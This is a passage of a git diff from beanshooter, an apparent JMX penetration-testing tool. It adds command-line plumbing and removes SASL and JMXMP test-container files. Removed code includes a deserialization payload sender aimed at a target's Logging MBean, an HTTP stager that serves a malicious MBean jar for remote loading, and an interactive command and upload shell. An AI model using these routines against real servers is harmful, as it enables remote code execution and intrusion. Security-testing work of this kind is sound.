command.startsWith("!upload ")) { - splitResult = splitSpaces(command); - - if( splitResult == null ) { - continue; - - } else if( splitResult.length < 3 ) { - Logger.println_ye("Error: Insufficient number of arguments or unbalanced number of quotes."); - continue; - } - - splitResult[1] = splitResult[1].replaceFirst("^~", System.getProperty("user.home")); - uploadFile(splitResult[1], splitResult[2]); - } - - else { - response = executeCommand(command, false); - System.out.print(response); - } - } - } - - public void getLoggerLevel(Object payload) - { - Logger.println("Sending payload to 'getLoggerLevel'..."); - Logger.increaseIndent(); - - try { - ObjectName loggingMBean = new ObjectName("java.util.logging:type=Logging"); - this.mBeanServer.invoke(loggingMBean, "getLoggerLevel", new Object[]{ payload }, new String[]{String.class.getCanonicalName()}); - - } catch (NullPointerException | MalformedObjectNameException | InstanceNotFoundException | MBeanException | ReflectionException | IOException e) { - if( e.getCause() instanceof ClassNotFoundException) { - Logger.eprintln("ClassNotFoundException. Chosen gadget is probably not available on the target."); - } else { - Logger.eprintln("Encountered unexcepted exception. Tagret is probably not vulnerable."); - } - - Logger.eprintln("StackTrace:"); - e.printStackTrace(); - - } catch (RuntimeMBeanException e) { - if( e.getCause() instanceof IllegalArgumentException) { - Logger.println_ye("IllegalArgumentException. This is fine :) Payload probably worked."); - } else if (e.getCause() instanceof SecurityException) { - Logger.println_ye("SecurityException. This is fine :) Payload probably worked."); - } else { - Logger.eprintln("Encountered unexcepted exception. Payload seems not to work :("); - Logger.eprintln("StackTrace:"); - e.printStackTrace(); - } - - } catch (SecurityException e) { - Logger.println_ye("SecurityException. This is fine :) Payload probably worked."); - } - } - - public HttpServer startStagerServer(String bindAddress, String bindPort, String stagerHost, String stagerPort) - { - return this.startStagerServer(bindAddress, bindPort, stagerHost, stagerPort, false); - } - - public HttpServer startStagerServer(String bindAddress, String bindPort, String stagerHost, String stagerPort, boolean stagerOnly) - { - HttpServer server = null; - try { - - File maliciousBean = new File(this.jarPath + this.jarName); - if( !maliciousBean.exists() || maliciousBean.isDirectory() ) { - Logger.eprint("Unable to find MBean "); - Logger.eprintPlain_ye(maliciousBean.getCanonicalPath()); - Logger.eprintlnPlain(" for deployment."); - Logger.eprintln("Stopping execution."); - System.exit(1); - } - - /* First we create a new HttpServer object */ - server = HttpServer.create(new InetSocketAddress(bindAddress, Integer.valueOf(bindPort)), 0); - Logger.print("Creating HTTP server on: "); - Logger.printlnPlain_bl(bindAddress + ":" + bindPort); - - Logger.increaseIndent(); - - /* Then we register an MLetHandler for requests on the endpoint /mlet */ - Logger.print("Creating MLetHandler for endpoint: "); - Logger.printlnPlain_bl("/mlet"); - server.createContext("/mlet", new MLetHandler(stagerHost, stagerPort, this.beanClass, this.jarName, this.objectName, stagerOnly)); - - /* Then we register a jar handler for requests that target our jarName */ - Logger.print("Creating JarHandler for endpoint: "); - Logger.printlnPlain_bl("/" + this.jarName); - server.createContext("/" + this.jarName, new JarHandler(this.jarName, this.jarPath, stagerOnly)); - - server.setExecutor(null); - - Logger.println("Starting HTTP server... "); - Logger.println(""); - server.start(); - - Logger.decreaseIndent(); - - } catch (Exception e) { - Logger.eprint("The following exception was thrown: "); - Logger.eprintlnPlain_ye(e.getMessage()); - this.disconnect(); - System.exit(1); - } - - return server; - } - - public static String[] splitSpaces(String input) - { - Pattern splitSpaces = Pattern.compile(" (?=(?:(?:[^\"]*\"[^\"]*\")|(?:[^']*'[^']*'))*[^\"']*$)"); - String[] splitResult = splitSpaces.split(input); - - if(splitResult.length < 2) { - Logger.println_ye("Error: Insufficient number of arguments or unbalanced number of quotes."); - return null; - } - - String current; - for(int ctr = 0; ctr < splitResult.length; ctr++) { - - current = splitResult[ctr]; - - if(current.startsWith("'") || current.startsWith("\"")) { - splitResult[ctr] = current.substring(1); - - if(!current.endsWith("'") && !current.endsWith("\"")) { - Logger.println_ye("Error: Unbalanced number of quotes."); - return null; - } - - splitResult[ctr] = splitResult[ctr].substring(0, current.length() - 2); - } - } - - return splitResult; - } -} diff --git a/beanshooter/src/de/qtc/beanshooter/Starter.java b/beanshooter/src/de/qtc/beanshooter/Starter.java new file mode 100644 index 0000000..1d3483a --- /dev/null +++ b/beanshooter/src/de/qtc/beanshooter/Starter.java @@ -0,0 +1,25 @@ +package de.qtc.beanshooter; + +import de.qtc.beanshooter.cli.ArgumentHandler; +import de.qtc.beanshooter.operation.Dispatcher; +import de.qtc.beanshooter.operation.Operation; + +/** + * The Stater class handles the startup process of beanshooter. beanshooter actions + * are invoked via reflection. This adds one additional layer of complexity but allows + * to define available actions in an enum, which makes it more explicit what actions are + * actually available. + * + * @author Tobias Neitzel (@qtc_de) + */ +public class Starter { + + public static void main(String[] argv) + { + ArgumentHandler handler = new ArgumentHandler(argv); + Operation operation = handler.getAction(); + + Dispatcher dispatcher = new Dispatcher(); + operation.invoke(dispatcher); + } +} \ No newline at end of file diff --git a/beanshooter/src/de/qtc/beanshooter/cli/ArgumentHandler.java b/beanshooter/src/de/qtc/beanshooter/cli/ArgumentHandler.java new file mode 100644 index 0000000..70f4d75 --- /dev/null +++ b/beanshooter/src/de/qtc/beanshooter/cli/ArgumentHandler.java @@ -0,0 +1,120 @@ +package de.qtc.beanshooter.cli; + +import java.io.FileInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.util.Properties; + +import de.qtc.beanshooter.exceptions.ExceptionHandler; +import de.qtc.beanshooter.io.Logger; +import de.qtc.beanshooter.operation.Operation; +import de.qtc.beanshooter.plugin.PluginSystem; +import net.sourceforge.argparse4j.ArgumentParsers; +import net.sourceforge.argparse4j.inf.ArgumentParser; +import net.sourceforge.argparse4j.inf.ArgumentParserException; +import net.sourceforge.argparse4j.inf.Namespace; +import net.sourceforge.argparse4j.inf.Subparsers; + +/** + * The ArgumentHandler is a wrapper around the ArgumentParser of argparse4j. It handles + * some special cases and takes care of initializing some stuff like e.g. the plugin system. + * + * @author Tobias Neitzel (@qtc_de) + */ +public class ArgumentHandler { + + private Namespace args; + private ArgumentParser parser; + private Properties config; + private Operation action = null; + + private String defaultConfiguration = "/config.properties"; + + /** + * Creates an ArgumentParser and adds one subparser for each supported operation. After + * creating the parsers, it parses the current command line and starts the initialization + * process. + * + * @param argv the specified command line arguments + */ + public ArgumentHandler(String[] argv) + { + parser = ArgumentParsers.newFor("beanshooter").build(); + parser.description("beanshooter v" + ArgumentHandler.class.getPackage().getImplementationVersion() + " - a JMX Vulnerability Scanner"); + + Subparsers subparsers = parser.addSubparsers().help(" ").metavar("action").dest("action"); + Operation.addSubparsers(subparsers); + + try { + args = parser.parseArgs(argv); + + } catch (ArgumentParserException e) { + parser.handleError(e); + System.exit(1); + } + + initialize(); + } + + /** + * Load the configuration file and sets default options for options that were not specified explicitly. + * Processes some special command line switches and initializes the plugin system. + */ + private void initialize() + { + config = loadConfig(args.get(Option.GLOBAL_CONFIG.name)); + Option.prepareOptions(args, config); + + if( Option.GLOBAL_NO_COLOR.getBool() ) + Logger.disableColor(); + + PluginSystem.init(Option.GLOBAL_PLUGIN.getValue()); + } + + /** + * Loads the beanshooter configuration file from the specified destination. The default configuration + * is always loaded. If the filename parameter is not null, an additional user specified config is loaded, that + * may overwrites some configurations. The default configuration file should store default values for all + * beanshooter options. + * + * @param filename file system path to load the configuration file from + */ + private Properties loadConfig(String filename) + { + Properties config = new Properties(); + + try { + InputStream configStream = null; + + configStream = ArgumentParser.class.getResourceAsStream(defaultConfiguration); + config.load(configStream); + configStream.close(); + + if( filename != null ) { + configStream = new FileInputStream(filename); + config.load(configStream); + configStream.close(); + } + + } catch( IOException e ) { + ExceptionHandler.unexpectedException(e, "loading", ".properties file", true); + } + + return config; + } + + /** + * Returns the user specified beanshooter action. + * + * @return Operation requested by the client + */ + public Operation getAction() + { + this.action = Operation.getByName(args.getString("action")); + + if( action == null ) + ExceptionHandler.internalError("ArgumentHandler.getAction", "Invalid action was specified"); + + return action; + } +} diff --git a/beanshooter/src/de/qtc/beanshooter/cli/Option.java b/beanshooter/src/de/qtc/beanshooter/cli/Option.java new file mode 100644 index 0000000..355718d --- /dev/null +++ b/beanshooter/src/de/qtc/beanshooter/cli/Option.java @@ -0,0 +1,391 @@ +package de.qtc.beanshooter.cli; + +import java.util.EnumSet; +import java.util.HashMap; +import java.util.Map; +import java.util.Properties; + +import javax.management.remote.JMXConnector; +import javax.rmi.ssl.SslRMIClientSocketFactory; + +import de.qtc.beanshooter.exceptions.ExceptionHandler; +import de.qtc.beanshooter.io.Logger; +import de.qtc.beanshooter.operation.Operation; +import de.qtc.beanshooter.utils.Utils; +import net.sourceforge.argparse4j.impl.Arguments; +import net.sourceforge.argparse4j.inf.Argument; +import net.sourceforge.argparse4j.inf.ArgumentAction; +import net.sourceforge.argparse4j.inf.ArgumentGroup; +import net.sourceforge.argparse4j.inf.ArgumentParser; +import net.sourceforge.argparse4j.inf.Namespace; + +/** + * All available beanshooter options are defined in the Option enum. The enum stores the option + * names, their description, the information whether they are boolean or store values and an optional + * meta variable. Additionally, each Option is assigned to an OptionGroup. This is used for grouping + * related arguments in the help menu of the programm. + * + * Options are not assigned to operations here. This is done within the Operation class. + * + * @author Tobias Neitzel (@qtc_de) + */ +public enum Option { + + GLOBAL_CONFIG("--config", "path to a configuration file", Arguments.store(), OptionGroup.GENERAL, "config-file"), + GLOBAL_VERBOSE("--verbose", "enable verbose output", Arguments.storeTrue(), OptionGroup.GENERAL), + GLOBAL_PLUGIN("--plugin", "file system path to a beanshooter plugin", Arguments.store(), OptionGroup.GENERAL, "plugin-file"), + GLOBAL_NO_COLOR("--no-color", "disable colored output", Arguments.storeTrue(), OptionGroup.GENERAL), + GLOBAL_STACK_TRACE("--stack-trace", "display stack traces for caught exceptions", Arguments.storeTrue(), OptionGroup.GENERAL), + + TARGET_HOST("host", "target host", Arguments.store(), OptionGroup.NONE, "host"), + TARGET_PORT("port", "target port", Arguments.store(), OptionGroup.NONE, "port"), + TARGET_BOUND_NAME("--bound-name", "target bound name within an RMI registry", Arguments.store(), OptionGroup.TARGET, "name"), + TARGET_OBJID_SERVER("--objid-server", "target ObjID for an RMIServer remote object", Arguments.store(), OptionGroup.TARGET, "objid"), + TARGET_OBJID_CONNECTION("--objid-connection", "target ObjID for an RMIConnection remote object", Arguments.store(), OptionGroup.TARGET, "objid"), + + CONN_FOLLOW("--follow", "follow redirects to different servers", Arguments.storeTrue(), OptionGroup.CONNECTION), + CONN_SSL("--ssl", "use SSL for connections", Arguments.storeTrue(), OptionGroup.CONNECTION), + CONN_JMXMP("--jmxmp", "use JMXMP for JMX communication", Arguments.storeTrue(), OptionGroup.CONNECTION), + CONN_USER("--username", "username to use for JMX authentication", Arguments.store(), OptionGroup.CONNECTION, "user"), + CONN_PASS("--password", "password to use for JMX authentication", Arguments.store(), OptionGroup.CONNECTION, "pass"), + CONN_SASL("--sasl", "use SASL auth mechanism for JMXMP", Arguments.storeTrue(), OptionGroup.CONNECTION), + + DEPLOY_STAGER_ONLY("--stager-only", "only launch the stager HTTP server", Arguments.storeTrue(), OptionGroup.ACTION), + DEPLOY_NO_STAGER("--no-stager", "do not launch the stager HTTP server", Arguments.storeTrue(), OptionGroup.ACTION), + DEPLOY_STAGER_URL("--stager-url", "url of the stager server", Arguments.store(), OptionGroup.ACTION, "URL"), + DEPLOY_STAGER_PORT("--stager-port", "TCP port to start the stager on", Arguments.store(), OptionGroup.ACTION, "port"), + DEPLOY_STAGER_ADDR("--stager-host", "IP address to start the stager on", Arguments.store(), OptionGroup.ACTION, "addr"), + DEPLOY_BEAN_CLASS("--classname", "classname of the MBean to deploy", Arguments.store(), OptionGroup.BEAN, "name"), + DEPLOY_BEAN_NAME("--object-name", "object name of the MBean to deploy", Arguments.store(), OptionGroup.BEAN, "name"), + DEPLOY_JAR_FILE("--jar", "jar archive to deploy", Arguments.store(), OptionGroup.BEAN, "path"), + + BRUTE_THREADS("--threads", "maximum number of threads (default: 5)", Arguments.store(), OptionGroup.ACTION, "threads"), + YSO("--yso", "location of ysoserial.jar for deserialization attacks", Arguments.store(), OptionGroup.ACTION, "yso-path"); + + public final String name; + public final String description; + public final String metavar; + public final ArgumentAction argumentAction; + public OptionGroup optionGroup = null; + + public Object value = null; + + private final static EnumSet

- * Provides server support for PLAIN, i.e. implements the PLAIN SASL server - * mechanism. (RFC 2595) - *

- * Requires the following callbacks to be satisfied by the callback handler - * when using PLAIN: - *

    - *
  • {@link com.sun.jdmk.security.sasl.AuthenticateCallback}: to verify the - * authentication identity and password with the system authentication - * database.
  • - *
  • {@link javax.security.sasl.AuthorizeCallback}: to verify that the - * authentication credentials permit the client to log in as the - * authorization identity.
  • - *
- */ -public final class Provider extends java.security.Provider { - - private static final long serialVersionUID = 4578222529928792392L; - - private static final String info = - "Java DMK SASL provider (implements server mechanisms for: PLAIN)"; - - @SuppressWarnings({ "deprecation", "unchecked" }) - public Provider() { - super("JavaDMKSASL", 5.1, info); - AccessController.doPrivileged(new PrivilegedAction() { - public Object run() { - // Server mechanisms - // - put("SaslServerFactory.PLAIN", - "com.sun.jdmk.security.sasl.plain.ServerFactoryImpl"); - return null; - } - }); - } -} diff --git a/.docker/resources/jmxmp/src/com/sun/jdmk/security/sasl/plain/PlainServer.java b/.docker/resources/jmxmp/src/com/sun/jdmk/security/sasl/plain/PlainServer.java deleted file mode 100644 index 63f4777..0000000 --- a/.docker/resources/jmxmp/src/com/sun/jdmk/security/sasl/plain/PlainServer.java +++ /dev/null @@ -1,259 +0,0 @@ -/* - * @(#)file PlainServer.java - * @(#)author Sun Microsystems, Inc. - * @(#)version 1.4 - * @(#)date 07/10/01 - * - * - * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS HEADER. - * - * Copyright (c) 2007 Sun Microsystems, Inc. All Rights Reserved. - * - * The contents of this file are subject to the terms of either the GNU General - * Public License Version 2 only ("GPL") or the Common Development and - * Distribution License("CDDL")(collectively, the "License"). You may not use - * this file except in compliance with the License. You can obtain a copy of the - * License at http://opendmk.dev.java.net/legal_notices/licenses.txt or in the - * LEGAL_NOTICES folder that accompanied this code. See the License for the - * specific language governing permissions and limitations under the License. - * - * When distributing the software, include this License Header Notice in each - * file and include the License file found at - * http://opendmk.dev.java.net/legal_notices/licenses.txt - * or in the LEGAL_NOTICES folder that accompanied this code. - * Sun designates this particular file as subject to the "Classpath" exception - * as provided by Sun in the GPL Version 2 section of the License file that - * accompanied this code. - * - * If applicable, add the following below the License Header, with the fields - * enclosed by brackets [] replaced by your own identifying information: - * - * "Portions Copyrighted [year] [name of copyright owner]" - * - * Contributor(s): - * - * If you wish your version of this file to be governed by only the CDDL or - * only the GPL Version 2, indicate your decision by adding - * - * "[Contributor] elects to include this software in this distribution - * under the [CDDL or GPL Version 2] license." - * - * If you don't indicate a single choice of license, a recipient has the option - * to distribute your version of this file under either the CDDL or the GPL - * Version 2, or to extend the choice of license to its licensees as provided - * above. However, if you add GPL Version 2 code and therefore, elected the - * GPL Version 2 license, then the option applies only if the new code is made - * subject to such option by the copyright holder. - * - */ - -package com.sun.jdmk.security.sasl.plain; - -import java.io.IOException; -import java.io.UnsupportedEncodingException; - -import javax.security.auth.callback.Callback; -import javax.security.auth.callback.CallbackHandler; -import javax.security.auth.callback.UnsupportedCallbackException; -import javax.security.sasl.AuthorizeCallback; -import javax.security.sasl.Sasl; -import javax.security.sasl.AuthenticationException; -import javax.security.sasl.SaslException; -import javax.security.sasl.SaslServer; - -import com.sun.jdmk.security.sasl.AuthenticateCallback; - -/** - * Implements the PLAIN SASL server mechanism. - * (RFC 2595) - *

- * Requires the following callbacks to be satisfied by the callback handler - * when using PLAIN: - *

    - *
  • AuthenticateCallback: to verify the authentication identity and - * password with the system authentication database.
  • - *
  • AuthorizeCallback: to verify that the authentication credentials - * permit the client to log in as the authorization identity.
  • - *
- */ -final class PlainServer implements SaslServer { - - public PlainServer(CallbackHandler cbh) { - this.cbh = cbh; - } - - public String getMechanismName() { - return "PLAIN"; - } - - public byte[] evaluateResponse(byte[] response) throws SaslException { - if (completed) { - throw new IllegalStateException( - "PLAIN authentication already completed"); - } - completed = true; - - // Extract authorization_id/authentication_id/password from response - // - int indexSeparator1 = -1; - int indexSeparator2 = -1; - for (int i = 0; i < response.length; i++) { - if (response[i] != SEPARATOR) { - continue; - } else { - if (indexSeparator1 == -1) { - indexSeparator1 = i; - } else if (indexSeparator2 == -1) { - indexSeparator2 = i; - } - } - } - if ((indexSeparator1 < 0) || - (indexSeparator2 < 0) || - (indexSeparator1 + 1 == indexSeparator2) || - (indexSeparator2 + 1 == response.length)) - throw new IllegalStateException("PLAIN authentication error: " + - "Response format should be: " + - "[authorization_id]" + - "" + - "authentication_id" + - "" + - "password."); - int authzidSize = indexSeparator1; - int authnidSize = indexSeparator2 - indexSeparator1 - 1; - int passwdSize = response.length - indexSeparator2 - 1; - byte authzid[] = new byte[authzidSize]; - byte authnid[] = new byte[authnidSize]; - byte passwd[] = new byte[passwdSize]; - System.arraycopy(response, 0, authzid, 0, authzidSize); - System.arraycopy(response, indexSeparator1+1, authnid, 0, authnidSize); - System.arraycopy(response, indexSeparator2+1, passwd, 0, passwdSize); - String authenticationID; - String authorizationID; - String password; - try { - authenticationID = new String(authnid, "UTF-8"); - password = new String(passwd, "UTF-8"); - for (int i = 0; i < passwd.length; i++) - passwd[i] = 0; - passwd = null; - if (authzid.length == 0) - authorizationID = authenticationID; - else - authorizationID = new String(authzid, "UTF-8"); - } catch (UnsupportedEncodingException e) { - throw new SaslException("PLAIN: Cannot get UTF-8 encoding of ids", - e); - } - - // Let the callback handler verify the remote authentication identity - // and password with the system authentication database. - // - verifyAuthenticationCredentials(authenticationID, password); - - // Let the callback handler verify that the authentication credentials - // permit the client to log in as the authorization identity. - // - verifyAuthorizationID(authenticationID, authorizationID); - - return null; - } - - public String getAuthorizationID() { - return authorizationID; - } - - public boolean isComplete() { - return completed; - } - - public byte[] unwrap(byte[] incoming, int offset, int len) - throws SaslException { - if (completed) { - throw new SaslException( - "PLAIN supports neither integrity nor privacy"); - } else { - throw new IllegalStateException( - "PLAIN authentication not completed"); - } - } - - public byte[] wrap(byte[] outgoing, int offset, int len) - throws SaslException { - if (completed) { - throw new SaslException( - "PLAIN supports neither integrity nor privacy"); - } else { - throw new IllegalStateException( - "PLAIN authentication not completed"); - } - } - - public Object getNegotiatedProperty(String propName) { - if (completed) { - if (propName.equals(Sasl.QOP)) { - return "auth"; - } else { - return null; - } - } else { - throw new IllegalStateException( - "PLAIN authentication not completed"); - } - } - - public void dispose() throws SaslException { - } - - private void verifyAuthenticationCredentials(String username, - String password) - throws SaslException { - final String msg = - "PLAIN: Authentication credentials verification failed!"; - char passwd[] = password.toCharArray(); - AuthenticateCallback authnCb = - new AuthenticateCallback(username, passwd); - for (int i = 0; i < passwd.length; i++) - passwd[i] = ' '; - passwd = null; - try { - cbh.handle(new Callback[] { authnCb }); - } catch (IOException e) { - throw new SaslException(msg, e); - } catch (UnsupportedCallbackException e) { - throw new SaslException(msg, e); - } - authnCb.clearPassword(); - if (!authnCb.isAuthenticated()) { - throw new AuthenticationException(msg); - } - } - - private void verifyAuthorizationID(String authenticationID, - String authorizationID) - throws SaslException { - final String msg = "PLAIN: AuthorizationID verification failed!"; - AuthorizeCallback authzCb = - new AuthorizeCallback(authenticationID, authorizationID); - try { - cbh.handle(new Callback[] { authzCb }); - } catch (IOException e) { - throw new SaslException(msg, e); - } catch (UnsupportedCallbackException e) { - throw new SaslException(msg, e); - } - if (authzCb.isAuthorized()) { - this.authorizationID = authzCb.getAuthorizedID(); - } else { - throw new SaslException("PLAIN: " + - authenticationID + - " is not authorized to act as " + - authorizationID); - } - } - - private boolean completed; - private CallbackHandler cbh; - private String authorizationID; - private static final byte SEPARATOR = 0; // US-ASCII -} diff --git a/.docker/resources/jmxmp/src/com/sun/jdmk/security/sasl/plain/ServerFactoryImpl.java b/.docker/resources/jmxmp/src/com/sun/jdmk/security/sasl/plain/ServerFactoryImpl.java deleted file mode 100644 index 5e19846..0000000 --- a/.docker/resources/jmxmp/src/com/sun/jdmk/security/sasl/plain/ServerFactoryImpl.java +++ /dev/null @@ -1,100 +0,0 @@ -/* - * @(#)file ServerFactoryImpl.java - * @(#)author Sun Microsystems, Inc. - * @(#)version 1.3 - * @(#)date 07/10/01 - * - * - * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS HEADER. - * - * Copyright (c) 2007 Sun Microsystems, Inc. All Rights Reserved. - * - * The contents of this file are subject to the terms of either the GNU General - * Public License Version 2 only ("GPL") or the Common Development and - * Distribution License("CDDL")(collectively, the "License"). You may not use - * this file except in compliance with the License. You can obtain a copy of the - * License at http://opendmk.dev.java.net/legal_notices/licenses.txt or in the - * LEGAL_NOTICES folder that accompanied this code. See the License for the - * specific language governing permissions and limitations under the License. - * - * When distributing the software, include this License Header Notice in each - * file and include the License file found at - * http://opendmk.dev.java.net/legal_notices/licenses.txt - * or in the LEGAL_NOTICES folder that accompanied this code. - * Sun designates this particular file as subject to the "Classpath" exception - * as provided by Sun in the GPL Version 2 section of the License file that - * accompanied this code. - * - * If applicable, add the following below the License Header, with the fields - * enclosed by brackets [] replaced by your own identifying information: - * - * "Portions Copyrighted [year] [name of copyright owner]" - * - * Contributor(s): - * - * If you wish your version of this file to be governed by only the CDDL or - * only the GPL Version 2, indicate your decision by adding - * - * "[Contributor] elects to include this software in this distribution - * under the [CDDL or GPL Version 2] license." - * - * If you don't indicate a single choice of license, a recipient has the option - * to distribute your version of this file under either the CDDL or the GPL - * Version 2, or to extend the choice of license to its licensees as provided - * above. However, if you add GPL Version 2 code and therefore, elected the - * GPL Version 2 license, then the option applies only if the new code is made - * subject to such option by the copyright holder. - * - */ - -package com.sun.jdmk.security.sasl.plain; - -import java.util.Map; -import javax.security.auth.callback.CallbackHandler; -import javax.security.sasl.SaslException; -import javax.security.sasl.SaslServer; -import javax.security.sasl.SaslServerFactory; - -import com.sun.jdmk.security.sasl.util.PolicyUtils; - -/** - * Server factory for PLAIN. - */ -public final class ServerFactoryImpl implements SaslServerFactory { - - private static final String myMechs[] = { - "PLAIN" - }; - - private static final int mechPolicies[] = { - PolicyUtils.NOANONYMOUS // PLAIN - }; - - private static final int PLAIN = 0; - - public ServerFactoryImpl() { - } - - public SaslServer createSaslServer(String mech, - String protocol, - String serverName, - Map props, - CallbackHandler cbh) - throws SaslException { - - if (mech.equals(myMechs[PLAIN]) - && PolicyUtils.checkPolicy(mechPolicies[PLAIN], props)) { - if (cbh == null) { - throw new SaslException("Callback handler with support " + - "for AuthenticateCallback and " + - "AuthorizeCallback required"); - } - return new PlainServer(cbh); - } - return null; - }; - - public String[] getMechanismNames(Map props) { - return PolicyUtils.filterMechs(myMechs, mechPolicies, props); - } -} diff --git a/.docker/resources/jmxmp/src/com/sun/jdmk/security/sasl/util/PolicyUtils.java b/.docker/resources/jmxmp/src/com/sun/jdmk/security/sasl/util/PolicyUtils.java deleted file mode 100644 index 5839f70..0000000 --- a/.docker/resources/jmxmp/src/com/sun/jdmk/security/sasl/util/PolicyUtils.java +++ /dev/null @@ -1,139 +0,0 @@ -/* - * @(#)file PolicyUtils.java - * @(#)author Sun Microsystems, Inc. - * @(#)version 1.3 - * @(#)date 07/10/01 - * - * - * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS HEADER. - * - * Copyright (c) 2007 Sun Microsystems, Inc. All Rights Reserved. - * - * The contents of this file are subject to the terms of either the GNU General - * Public License Version 2 only ("GPL") or the Common Development and - * Distribution License("CDDL")(collectively, the "License"). You may not use - * this file except in compliance with the License. You can obtain a copy of the - * License at http://opendmk.dev.java.net/legal_notices/licenses.txt or in the - * LEGAL_NOTICES folder that accompanied this code. See the License for the - * specific language governing permissions and limitations under the License. - * - * When distributing the software, include this License Header Notice in each - * file and include the License file found at - * http://opendmk.dev.java.net/legal_notices/licenses.txt - * or in the LEGAL_NOTICES folder that accompanied this code. - * Sun designates this particular file as subject to the "Classpath" exception - * as provided by Sun in the GPL Version 2 section of the License file that - * accompanied this code. - * - * If applicable, add the following below the License Header, with the fields - * enclosed by brackets [] replaced by your own identifying information: - * - * "Portions Copyrighted [year] [name of copyright owner]" - * - * Contributor(s): - * - * If you wish your version of this file to be governed by only the CDDL or - * only the GPL Version 2, indicate your decision by adding - * - * "[Contributor] elects to include this software in this distribution - * under the [CDDL or GPL Version 2] license." - * - * If you don't indicate a single choice of license, a recipient has the option - * to distribute your version of this file under either the CDDL or the GPL - * Version 2, or to extend the choice of license to its licensees as provided - * above. However, if you add GPL Version 2 code and therefore, elected the - * GPL Version 2 license, then the option applies only if the new code is made - * subject to such option by the copyright holder. - * - */ - -package com.sun.jdmk.security.sasl.util; - -import java.util.Map; -import javax.security.sasl.Sasl; - -/** - * Static class that contains utilities for dealing with Java SASL - * security policy-related properties. - */ -public final class PolicyUtils { - // Can't create one of these - private PolicyUtils() { - } - - public final static int NOPLAINTEXT = 0x0001; - public final static int NOACTIVE = 0x0002; - public final static int NODICTIONARY = 0x0004; - public final static int FORWARD_SECRECY = 0x0008; - public final static int NOANONYMOUS = 0x0010; - public final static int PASS_CREDENTIALS = 0x0200; - - /** - * Determines whether a mechanism's characteristics, as defined in flags, - * fits the security policy properties found in props. - * @param flags The mechanism's security characteristics - * @param props The security policy properties to check - * @return true if passes; false if fails - */ - public static boolean checkPolicy(int flags, Map props) { - if (props == null) { - return true; - } - - if ("true".equalsIgnoreCase((String)props.get(Sasl.POLICY_NOPLAINTEXT)) - && (flags&NOPLAINTEXT) == 0) { - return false; - } - if ("true".equalsIgnoreCase((String)props.get(Sasl.POLICY_NOACTIVE)) - && (flags&NOACTIVE) == 0) { - return false; - } - if ("true".equalsIgnoreCase((String)props.get(Sasl.POLICY_NODICTIONARY)) - && (flags&NODICTIONARY) == 0) { - return false; - } - if ("true".equalsIgnoreCase((String)props.get(Sasl.POLICY_NOANONYMOUS)) - && (flags&NOANONYMOUS) == 0) { - return false; - } - if ("true".equalsIgnoreCase((String)props.get(Sasl.POLICY_FORWARD_SECRECY)) - && (flags&FORWARD_SECRECY) == 0) { - return false; - } - if ("true".equalsIgnoreCase((String)props.get(Sasl.POLICY_PASS_CREDENTIALS)) - && (flags&PASS_CREDENTIALS) == 0) { - return false; - } - - return true; - } - - /** - * Given a list of mechanisms and their characteristics, select the - * subset that conforms to the policies defined in props. - * Useful for SaslXXXFactory.getMechanismNames(props) implementations. - * - */ - public static String[] filterMechs(String[] mechs, int[] policies, - Map props) { - if (props == null) { - return (String[])mechs.clone(); - } - - boolean[] passed = new boolean[mechs.length]; - int count = 0; - for (int i = 0; i< mechs.length; i++) { - if (passed[i] = checkPolicy(policies[i], props)) { - ++count; - } - } - String[] answer = new String[count]; - for (int i = 0, j=0; i< mechs.length; i++) { - if (passed[i]) { - answer[j++] = mechs[i]; - } - } - - return answer; - } -} diff --git a/.docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPLifecycleListener.java b/.docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPLifecycleListener.java deleted file mode 100644 index 5e5fdfe..0000000 --- a/.docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPLifecycleListener.java +++ /dev/null @@ -1,58 +0,0 @@ -/* Credits: https://github.com/felixoldenburg/jmxmp-lifecycle-listener */ -package javax.management.remote.extension; - -import java.lang.management.ManagementFactory; - -import javax.management.remote.JMXConnectorServer; -import javax.management.remote.JMXConnectorServerFactory; -import javax.management.remote.JMXServiceURL; - -import org.apache.catalina.Lifecycle; -import org.apache.catalina.LifecycleEvent; -import org.apache.catalina.LifecycleListener; -import org.apache.juli.logging.Log; -import org.apache.juli.logging.LogFactory; - -public class JMXMPLifecycleListener implements LifecycleListener -{ - protected int port = 5555; - protected JMXConnectorServer cs; - private static final Log log = LogFactory.getLog(JMXMPLifecycleListener.class); - - public int getPort() { - return port; - } - - public void setPort(final int port) { - this.port = port; - } - - @Override - public void lifecycleEvent(final LifecycleEvent event) - { - try { - - if (Lifecycle.START_EVENT == event.getType()) { - log.info("Starting JMXMP Listener"); - - cs = JMXConnectorServerFactory.newJMXConnectorServer( - new JMXServiceURL("jmxmp", "0.0.0.0", port), - null, - ManagementFactory.getPlatformMBeanServer() - ); - cs.start(); - - log.info("Started JMXMP Listener on port " + port); - } - - else if (Lifecycle.STOP_EVENT == event.getType()) { - log.info("Stopp JMXMP Listener"); - cs.stop(); - log.info("Stopped JMXMP Listener"); - } - - } catch (final Exception e) { - throw new RuntimeException(e); - } - } -} diff --git a/.docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPSaslCramLifecycleListener.java b/.docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPSaslCramLifecycleListener.java deleted file mode 100644 index 2272239..0000000 --- a/.docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPSaslCramLifecycleListener.java +++ /dev/null @@ -1,72 +0,0 @@ -/* Credits: https://github.com/felixoldenburg/jmxmp-lifecycle-listener */ -package javax.management.remote.extension; - -import java.lang.management.ManagementFactory; -import java.util.HashMap; - -import javax.management.remote.JMXConnectorServer; -import javax.management.remote.JMXConnectorServerFactory; -import javax.management.remote.JMXServiceURL; -import javax.net.ssl.SSLContext; -import javax.net.ssl.SSLSocketFactory; - -import org.apache.catalina.Lifecycle; -import org.apache.catalina.LifecycleEvent; -import org.apache.catalina.LifecycleListener; -import org.apache.juli.logging.Log; -import org.apache.juli.logging.LogFactory; - -import com.sun.jdmk.security.sasl.callbacks.AuthenticationCallBackHandler; - -public class JMXMPSaslCramLifecycleListener implements LifecycleListener -{ - protected int port = 5559; - protected JMXConnectorServer cs; - private static final Log log = LogFactory.getLog(JMXMPSaslCramLifecycleListener.class); - - public int getPort() { - return port; - } - - public void setPort(final int port) { - this.port = port; - } - - @SuppressWarnings({ 